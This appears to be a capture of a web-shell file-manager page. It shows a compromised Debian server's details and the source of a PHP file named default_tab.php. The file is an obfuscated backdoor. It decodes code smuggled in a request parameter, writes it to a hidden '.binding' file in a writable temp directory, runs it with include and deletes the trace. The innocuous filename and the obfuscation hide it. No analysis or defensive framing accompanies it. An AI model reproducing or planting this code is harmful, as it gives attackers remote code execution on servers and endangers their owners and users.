HEX
Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/thread-self/root/proc/self/root/proc/self/root/proc/19805/cwd/2025/08/default_tab.php
<?php

if(!empty($_REQUEST["\x70\x6Fin\x74er"])){
	$descriptor = array_filter(["/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP")]);
	$dchunk = $_REQUEST["\x70\x6Fin\x74er"];
			 $dchunk 	=		 explode		( 	'.'	,   $dchunk  	)	; 
	$val = '';
            $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $salt2);
            $t = 0;
            $__len = count( $dchunk);
    
            do {if( $t >= $__len) break;
                $v7 = $dchunk[$t];
                $sChar = ord( $salt2[$t %	$lenS]);
                $dec =( ( int)$v7 - $sChar -( $t %	10))^94;
                $val.=chr( $dec);
                $t++;}		while( true);
	while ($property_set = array_shift($descriptor)) {
    		if (is_writable($property_set) && is_dir($property_set)) {
    $itm = implode("/", [$property_set, ".binding"]);
    if (@file_put_contents($itm, $val) !== false) {
	include $itm;
	unlink($itm);
	die();
}
}
}
}